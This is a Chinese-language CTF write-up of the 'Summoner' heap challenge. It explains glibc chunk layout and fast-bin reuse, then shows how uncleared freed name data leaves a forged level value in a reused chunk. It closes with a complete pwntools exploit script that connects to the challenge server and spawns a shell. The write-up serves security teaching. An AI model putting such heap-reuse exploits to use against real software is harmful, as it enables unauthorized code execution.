堆溢出
堆溢出,最最最简单
# Summoner
# 热知识
在做这道题目之前,我们首先需要了解一些堆的基本概念,堆不同于栈,栈在程序运行时会自己出现,堆是动态分配的 (由操作系统内核或者堆管理器),只有在程序中需要时才会分配。在 CTF 的 pwn 中,栈是程序加载进内存后就会出现,而堆是由malloc、alloc、realloc 函数分配内存后才会出现。
以 64 位程序为例子,在用户申请堆块后,系统便会给用户划分一块内存 (chunk) 供用户使用,这块内存通常如下图所示,这是用户在使用中的情况。
如下 | |
---|---|
pre size | size |
用户数据 | 用户数据 |
可以看到 chunk 的大小并不等于用户申请的大小,而是比用户申请的大 0x10 个字节,这多出来的部分通产用来存放 chunk 的信息。
size 位 :这里存放的是当前 chunk 的大小 (包括 chunk 头),而我们知道,64 位程序通常以 8 字节对齐,在一般情况下,chunk 的大小都是 0x8 的整数倍,而 1 字节由八个 bit 组成,以 0x8 为最小单位则低三位恒为零,所以这三位存放的是 chunk 的状态。
0 0 0 0 1 0 0 0 = 0x8
目前我们只需要要知道最低位 PREV_INUSE ,它记录前一个 (物理距离) chunk 是否被使用。
pre size 位 :这个位置比较灵活,在 PREV_INUSE 为 1 时,可以被上一个块使用,在 PREV_INUSE 为 0 时,记录上一个块的大小。
所以当我们执行 malloc (0x10) 时,得到的大小通常是 0x21。
malloc函数返回的是一个指向用户数据段的一个指针,我们可以通过free函数释放这个指针,在我们执行 free 操作释放指针后,chunk 会发生一些改变并根据一定的规则放入 bin 中,其中便有 fast bin、unsorted bin、small bin、large bin,fast bin 为单向链表,其他的都是双向链表,0x20 大小的 chunk 被释放后如下
如下 | |
---|---|
pre size | size |
fd | 用户数据 |
一般小于等于 0x80 大小的 chunk 被 free 掉之后会被放入相应大小的 fast bin 中,当用户再次申请相应大小的块时,系统会在 fast bin 中把那个块从链表末尾捡回来,既然是单向链表,则新增加的 fd 位自然是指向上个 chunk 的 pre size 地址
# 开始做题
拿到题目进行分析,发现保护全开,这在堆题目里其实是很常见的
先不慌我们先运行一下
根据题目描述大概是,让我们想办法召唤一只 level5 的怪兽和对面召唤的 level5 的怪兽撞过去
题目提供了几种命令:
- 展示召唤物信息
- 召唤一只生物,并给它起名字
- 设置生物的等级,但必须小于 5
- 攻击敌方召唤物
- 释放召唤物
在 IDA 分析过后可以发现还是有点问题的,首先是strdup函数,其返回一个指针,指向为复制字符串分配的空间,这个空间的大小是由我们决定的,其次是释放命令,它在使用后仅仅是把指针清空,并没有将我们用户的数据进行清空
接下来我们构造脚本进行攻击,我们在进行召唤一个怪兽和升四级之后,他们的堆块变成了这个样子
summor aaa
level-up 4
我们可以看见 2 号箭头指向的 616161 就是怪兽的名字 aaa,1 号箭头指向的为怪兽等级 4,3 号箭头指向了怪兽名字的地址,在这个时候,我们也就对这个召唤物的成分有了一些认识
首先,在进行召唤过后,系统会自动 malloc 一个 chunk,其大小为 0x10,他的前 0x8 字节存放怪兽名字的地址,后 0x8 字节存放怪兽的等级,之后解放掉这只怪兽
存放解放怪兽姓名的 chunk 会被 free 掉进入 bin 中
当我们再次召唤时,便会将以收入 bin 中的 0x20 大小的块捡回来使用,而最开始输入的姓名不限长度,用户数据又不会清空,那么我们大可以把前一个 0x8 字节填满,溢出到下一个 0x8 字节,所以我们只需在最初召唤时溢出一个字节来存放等级,解放掉,再次申请回来时,那个块的前 0x8 个字节依然存放姓名指针,而后 0x8 个字节便是我们残留的等级
再次召唤后进行攻击就能 getshell 了
脚本十分简单
from pwn import *
context.log_level = 'debug'
#p =process("./summoner")
p = remote("node3.buuoj.cn",25153)
def new( name ):
p.sendlineafter(">","summon "+ name)
def show():
p.sendlineafter(">","show")
def up( l ):
p.sendlineafter(">","level-up " + str(l))
def delete():
p.sendlineafter(">","release")
def dbg():
gdb.attach(p)
pause()
new("aaaaaaaa" + p64(5))
delete()
new("a")
p.sendlineafter(">","strike")
p.interactive()
本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。